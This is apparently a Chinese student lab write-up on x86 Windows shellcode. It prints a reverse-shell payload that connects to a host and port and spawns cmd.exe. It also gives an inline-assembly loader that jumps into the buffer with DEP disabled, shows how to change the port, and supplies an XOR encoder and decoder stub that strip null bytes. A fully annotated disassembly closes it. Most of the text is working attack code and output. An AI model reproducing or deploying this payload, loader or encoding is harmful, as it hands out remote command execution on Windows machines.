题目:
已知以下是我写得一串x86二进制指令码,可以将其加载并运行。
char buff[]=
{"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0"
"\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" };
任务一:使用visual studio,将此shellcode插入你的c++代码中,编写此shellcode加载代码,跳转到buffer中并执行。
提示:代码行数不超过5行。
需要的工具:visual studio 2010或以后的版本~~ C++,创建工程后请关闭DEP,请自行百度DEP是什么,如何关闭。
任务二:将其运行起来并动态调试,将其汇编形态代码抽取出来,理解每一行汇编代码的含义,修改shellcode,使其连接的端口变为6666。
提示:visual studio调试有反汇编窗口。
任务三:修改shellcode,本shellcode中含有0x00,请使用一定的编码方法使shellcode不含0x00,在shellcode前增加解码头,从而使shellcode可以正常执行。
提示:参考《0day安全》第三章
第一问:
直接加载shellcode的地址并运行
void main()
{
__asm{
lea eax, buff
push eax
ret
}
}
将buff的地址放入eax,然后将eax压入栈顶,ret指令会弹出当前栈顶元素并跳转至此地址执行,则shellcode被执行
第二问:
这个shellcode是开启本机的4444端口并反弹一个cmd窗口,可以用nc监听本机的6666端口,然后运行第一问可以看到效果。
第二问直接将红色标准的4444的十六进制改为6666的十六进制就可以了。汇编代码后面附上。可以在OD中查看shellcode的执行过程。
第三问:
shellcode编解码的问题。
首先对shellcode进行异或编码,解决shellcode中包含0x00的问题,可以采用遍历,寻找一个可异或的key值
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buff[]=
{"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\x7f\x00\x00\x01\x68\x02\x00\x1a\x0a\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0"
"\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
"\x09" };
void encoder(char* input, unsigned char key, int display_flag)
{
int i = 0, len = 0;
unsigned char result;
FILE *fp;
unsigned char * output;
len = sizeof(buff);
output = (unsigned char *)malloc(len + 1);
if(!output)
{
printf("memory erro!\n");
exit(0);
}
printf("%d\n\n",len);
//encode
for (i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
//print info
printf("%5d %5x",i,output[i]);
if(i % 5 == 0)
{
printf("\n");
}
if(output[i] == 0x00)
{
key = key + 0x01;
i = 0;
continue;
}
}
printf("%x",key);
if(!(fp = fopen("encode.txt", "w+")))
{
printf("output file create error!");
exit(0);
}
fprintf(fp,"\"");
for(i = 0; i < len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if((i+1)%15 == 0)
{
fprintf(fp, "\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encode shellcode to encode.txt OK!\n");
//print to screen
if(display_flag)
{
for(i = 0; i < len; i++)
{
printf("%0.2x", output[i]);
if((i + 1) % 15 == 0)
{
printf("\n");
}
}
}
free(output);
}
void main()
{
encoder(buff, 0x01, 1);
}
然后利用key值进行解码:
/*
shellcode末尾加0x09;
异或key=0x43;
*/
char final_sc[] =
{
"\x83\xc0\x14"
"\x33\xc9"
"\x8a\x1c\x08"
"\x80\xf3\x43"
"\x88\x1c\x08"
"\x41"
"\x80\xfb\x09"
"\x75\xf1"
"\xbf\xab\xca\x43\x43\x43\x23\xca\xa6\x72\x91\x27\xc8\x11\x73"
"\xc8\x11\x4f\xc8\x11\x57\xc8\x31\x6b\x4c\xf4\x09\x65\x72\xbc"
"\x72\x83\xef\x7f\x22\x3f\x41\x6f\x63\x82\x8c\x4e\x42\x84\xa1"
"\xb3\x11\x14\xc8\x11\x53\xc8\x01\x7f\x42\x93\xc8\x03\x3b\xc6"
"\x83\x37\x09\x42\x93\x13\xc8\x0b\x5b\xc8\x1b\x63\x42\x90\xa0"
"\x7f\x0a\xc8\x77\xc8\x42\x95\x72\xbc\x72\x83\xef\x82\x8c\x4e"
"\x42\x84\x7b\xa3\x36\xb7\x40\x3e\xbb\x78\x3e\x67\x36\xa1\x1b"
"\xc8\x1b\x67\x42\x90\x25\xc8\x4f\x08\xc8\x1b\x5f\x42\x90\xc8"
"\x47\xc8\x42\x93\xca\x07\x67\x67\x18\x18\x22\x1a\x19\x12\xbc"
"\xa3\x1b\x1c\x19\xc8\x51\xa8\xc5\x1e\x2b\x70\x71\x43\x43\x2b"
"\x34\x30\x71\x1c\x17\x2b\x0f\x34\x65\x44\xbc\x96\xfb\xd3\x42"
"\x43\x43\x6a\x87\x17\x13\x2b\x6a\xc3\x28\x43\xbc\x96\x13\x13"
"\x13\x13\x03\x13\x03\x13\x2b\xa9\x4c\x9c\xa3\xbc\x96\xca\x84"
"\x2b\x3c\x43\x43\x42\x2b\x41\x43\x59\x49\xca\xa5\x29\x53\x15"
"\x14\x2b\xda\xe6\x37\x22\xbc\x96\x2b\x20\x2e\x27\x43\xca\xa0"
"\x14\x14\x14\x72\xb5\x29\x51\x1a\x15\xa1\xbe\x25\x84\x07\x67"
"\x7f\x42\x42\xce\x07\x67\x53\x85\x43\x07\x17\x13\x15\x15\x15"
"\x05\x15\x0d\x15\x15\x10\x15\x2b\x3a\x8f\x7c\xc5\xbc\x96\xca"
"\xa3\x0d\x15\x05\xbc\x73\x2b\x4b\xc4\x5e\x23\xbc\x96\xf8\xa3"
"\x5e\x69\x49\x2b\xe5\xd6\xfe\xde\xbc\x96\x7f\x45\x3f\x49\xc3"
"\xb8\xa3\x36\x46\xf8\x04\x50\x31\x2c\x29\x43\x10\xbc\x96\x4a"
};
void main()
{
__asm{
lea eax,final_sc
push eax
ret
}
}其中final_sc[]的前半部分是解码的汇编机器码,后半部分是加密后的shellcode。
解码的汇编代码:
</pre><pre name="code" class="cpp">__asm
{
add eax, 0x14
xor ecx, ecx
decode_loop:
mov bl, [eax+ecx]
xor bl, 0x43 ;异或的加密key0x43
mov [eax+ecx], bl
inc ecx
cmp bl,0x09 ;解码结束标识0x09
jne decode_loop
}
附shellcode的汇编源码:
unsigned char buff2[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0"
"\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
//匿名管道
//http://outofmemory.cn/code-snippet/9210/create-niming-guandao-lian-jiedao-yuancheng-service-qi
main()
{
/*__asm{
lea eax,buff2
push eax
ret
}*/
__asm{
cld
call label //_buff2+8Fh (114708Fh)
pushad
mov ebp,esp
xor edx,edx
mov edx,dword ptr fs:[edx+30h] //peb
mov edx,dword ptr [edx+0Ch] //PEB_LDR_DATA
mov edx,dword ptr [edx+14h] //InMemoryOrderModuleList
label8:
mov esi,dword ptr [edx+28h] //basedllname
movzx ecx,word ptr [edx+26h] //basedllname的长度
xor edi,edi
label3:
xor eax,eax
lods byte ptr [esi]
cmp al,61h
jl label2
sub al,20h
label2:
ror edi,0Dh
add edi,eax
loop label3
push edx
push edi
mov edx,dword ptr [edx+10h]
mov eax,dword ptr [edx+3Ch]
add eax,edx
mov eax,dword ptr [eax+78h]
test eax,eax
je label4
add eax,edx
push eax
mov ecx,dword ptr [eax+18h]
mov ebx,dword ptr [eax+20h]
add ebx,edx
label7:
jecxz label5
dec ecx
mov esi,dword ptr [ebx+ecx*4]
add esi,edx
xor edi,edi
label6:
xor eax,eax
lods byte ptr [esi]
ror edi,0Dh
add edi,eax
cmp al,ah
jne label6
add edi,dword ptr [ebp-8]
cmp edi,dword ptr [ebp+24h]
jne label7
pop eax
mov ebx,dword ptr [eax+24h]
add ebx,edx
mov cx,word ptr [ebx+ecx*2]
mov ebx,dword ptr [eax+1Ch]
add ebx,edx
mov eax,dword ptr [ebx+ecx*4]
add eax,edx
mov dword ptr [esp+24h],eax
pop ebx
pop ebx
popad
pop ecx
pop edx
push ecx
jmp eax
label5:
pop eax
label4:
pop edi
pop edx
mov edx,dword ptr [edx]
jmp label8
label:
pop ebp //将shellcode起始地址存入ebp
push 3233h
push 5F327377h //ws2_32
push esp
push 726774Ch //hash of kernel32.dll
call ebp
mov eax,190h
sub esp,eax
push esp
push eax
push 6B8029h
call ebp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push 0E0DF0FEAh
call ebp
mov edi,eax
push 100007Fh //127.0.01
push 5C110002h //端口号4444==》0x115C
mov esi,esp
push 10h
push esi
push edi
push 6174A599h
call ebp
push 646D63h
mov ebx,esp
push edi
push edi
push edi
xor esi,esi
push 12h
pop ecx
label9:
push esi
loop label9
mov word ptr [esp+3Ch],101h
lea eax,[esp+10h]
mov byte ptr [eax],44h
push esp
push eax
push esi
push esi
push esi
inc esi
push esi
dec esi
push esi
push esi
push ebx
push esi
push 863FCC79h
call ebp
mov eax,esp
dec esi
push esi
inc esi
push dword ptr [eax]
push 601D8708h
call ebp
mov ebx,0A2A1DE0h
push 9DBD95A6h
call ebp
cmp al,6
jl label10//: _buff2+135h (1147135h)
cmp bl,0E0h
jne label10// _buff2+135h (1147135h)
mov ebx,6F721347h
label10:
push 0
push ebx
call ebp
}
//
// __asm{
//01147000 FC cld
//01147001 E8 89 00 00 00 call lable
//01147006 60 pushad
//01147007 89 E5 mov ebp,esp
//01147009 31 D2 xor edx,edx
//0114700B 64 8B 52 30 mov edx,dword ptr fs:[edx+30h]
//0114700F 8B 52 0C mov edx,dword ptr [edx+0Ch]
//01147012 8B 52 14 mov edx,dword ptr [edx+14h]
// label8:
//01147015 8B 72 28 mov esi,dword ptr [edx+28h]
//01147018 0F B7 4A 26 movzx ecx,word ptr [edx+26h]
//0114701C 31 FF xor edi,edi
// label3:
//0114701E 31 C0 xor eax,eax
//01147020 AC lods byte ptr [esi]
//01147021 3C 61 cmp al,61h
//01147023 7C 02 jl label2// _buff2+27h (1147027h)
//01147025 2C 20 sub al,20h
//label2:
//01147027 C1 CF 0D ror edi,0Dh
//0114702A 01 C7 add edi,eax
//0114702C E2 F0 loop label3// _buff2+1Eh (114701Eh)
//0114702E 52 push edx
//0114702F 57 push edi
//01147030 8B 52 10 mov edx,dword ptr [edx+10h]
//01147033 8B 42 3C mov eax,dword ptr [edx+3Ch]
//01147036 01 D0 add eax,edx
//01147038 8B 40 78 mov eax,dword ptr [eax+78h]
//0114703B 85 C0 test eax,eax
//0114703D 74 4A je label4// _buff2+89h (1147089h)
//0114703F 01 D0 add eax,edx
//01147041 50 push eax
//01147042 8B 48 18 mov ecx,dword ptr [eax+18h]
//01147045 8B 58 20 mov ebx,dword ptr [eax+20h]
//01147048 01 D3 add ebx,edx
// label7:
//0114704A E3 3C jecxz label5// _buff2+88h (1147088h)
//0114704C 49 dec ecx
//0114704D 8B 34 8B mov esi,dword ptr [ebx+ecx*4]
//01147050 01 D6 add esi,edx
//01147052 31 FF xor edi,edi
//label6:
//01147054 31 C0 xor eax,eax
//01147056 AC lods byte ptr [esi]
//01147057 C1 CF 0D ror edi,0Dh
//0114705A 01 C7 add edi,eax
//0114705C 38 E0 cmp al,ah
//0114705E 75 F4 jne label6// _buff2+54h (1147054h)
//01147060 03 7D F8 add edi,dword ptr [ebp-8]
//01147063 3B 7D 24 cmp edi,dword ptr [ebp+24h]
//01147066 75 E2 jne label7//_buff2+4Ah (114704Ah)
//01147068 58 pop eax
//01147069 8B 58 24 mov ebx,dword ptr [eax+24h]
//0114706C 01 D3 add ebx,edx
//0114706E 66 8B 0C 4B mov cx,word ptr [ebx+ecx*2]
//01147072 8B 58 1C mov ebx,dword ptr [eax+1Ch]
//01147075 01 D3 add ebx,edx
//01147077 8B 04 8B mov eax,dword ptr [ebx+ecx*4]
//0114707A 01 D0 add eax,edx
//0114707C 89 44 24 24 mov dword ptr [esp+24h],eax
//01147080 5B pop ebx
//01147081 5B pop ebx
//01147082 61 popad
//01147083 59 pop ecx
//01147084 5A pop edx
//01147085 51 push ecx
//01147086 FF E0 jmp eax
//label5:
//01147088 58 pop eax
//label4:
//01147089 5F pop edi
//0114708A 5A pop edx
//0114708B 8B 12 mov edx,dword ptr [edx]
//0114708D EB 86 jmp label8// _buff2+15h (1147015h)
// label:
//0114708F 5D pop ebp
//01147090 68 33 32 00 00 push 3233h
//01147095 68 77 73 32 5F push 5F327377h
//0114709A 54 push esp
//0114709B 68 4C 77 26 07 push 726774Ch
//011470A0 FF D5 call ebp
//011470A2 B8 90 01 00 00 mov eax,190h
//011470A7 29 C4 sub esp,eax
//011470A9 54 push esp
//011470AA 50 push eax
//011470AB 68 29 80 6B 00 push 6B8029h
//011470B0 FF D5 call ebp
//011470B2 50 push eax
//011470B3 50 push eax
//011470B4 50 push eax
//011470B5 50 push eax
//011470B6 40 inc eax
//011470B7 50 push eax
//011470B8 40 inc eax
//011470B9 50 push eax
//011470BA 68 EA 0F DF E0 push 0E0DF0FEAh
//011470BF FF D5 call ebp
//011470C1 89 C7 mov edi,eax
//011470C3 68 7F 00 00 01 push 100007Fh
//011470C8 68 02 00 11 5C push 5C110002h
//011470CD 89 E6 mov esi,esp
//011470CF 6A 10 push 10h
//011470D1 56 push esi
//011470D2 57 push edi
//011470D3 68 99 A5 74 61 push 6174A599h
//011470D8 FF D5 call ebp
//011470DA 68 63 6D 64 00 push 646D63h
//011470DF 89 E3 mov ebx,esp
//011470E1 57 push edi
//011470E2 57 push edi
//011470E3 57 push edi
//011470E4 31 F6 xor esi,esi
//011470E6 6A 12 push 12h
//011470E8 59 pop ecx
//label9:
//011470E9 56 push esi
//011470EA E2 FD loop label9// _buff2+0E9h (11470E9h)
//011470EC 66 C7 44 24 3C 01 01 mov word ptr [esp+3Ch],101h
//011470F3 8D 44 24 10 lea eax,[esp+10h]
//011470F7 C6 00 44 mov byte ptr [eax],44h
//011470FA 54 push esp
//011470FB 50 push eax
//011470FC 56 push esi
//011470FD 56 push esi
//011470FE 56 push esi
//011470FF 46 inc esi
//01147100 56 push esi
//01147101 4E dec esi
//01147102 56 push esi
//01147103 56 push esi
//01147104 53 push ebx
//01147105 56 push esi
//01147106 68 79 CC 3F 86 push 863FCC79h
//0114710B FF D5 call ebp
//0114710D 89 E0 mov eax,esp
//0114710F 4E dec esi
//01147110 56 push esi
//01147111 46 inc esi
//01147112 FF 30 push dword ptr [eax]
//01147114 68 08 87 1D 60 push 601D8708h
//01147119 FF D5 call ebp
//0114711B BB E0 1D 2A 0A mov ebx,0A2A1DE0h
//01147120 68 A6 95 BD 9D push 9DBD95A6h
//01147125 FF D5 call ebp
//01147127 3C 06 cmp al,6
//01147129 7C 0A jl label10//: _buff2+135h (1147135h)
//0114712B 80 FB E0 cmp bl,0E0h
//0114712E 75 05 jne label10// _buff2+135h (1147135h)
//01147130 BB 47 13 72 6F mov ebx,6F721347h
//label10:
//01147135 6A 00 push 0
//01147137 53 push ebx
//01147138 FF D5 call ebp
//
// }
}

本文介绍了如何在C++中加载并执行x86二进制shellcode,通过Visual Studio进行动态调试,理解其汇编代码含义。同时,讲解了如何修改shellcode以连接到不同的端口,并解决shellcode中0x00导致的问题,采用异或编码解码方法确保其正常执行。
1107





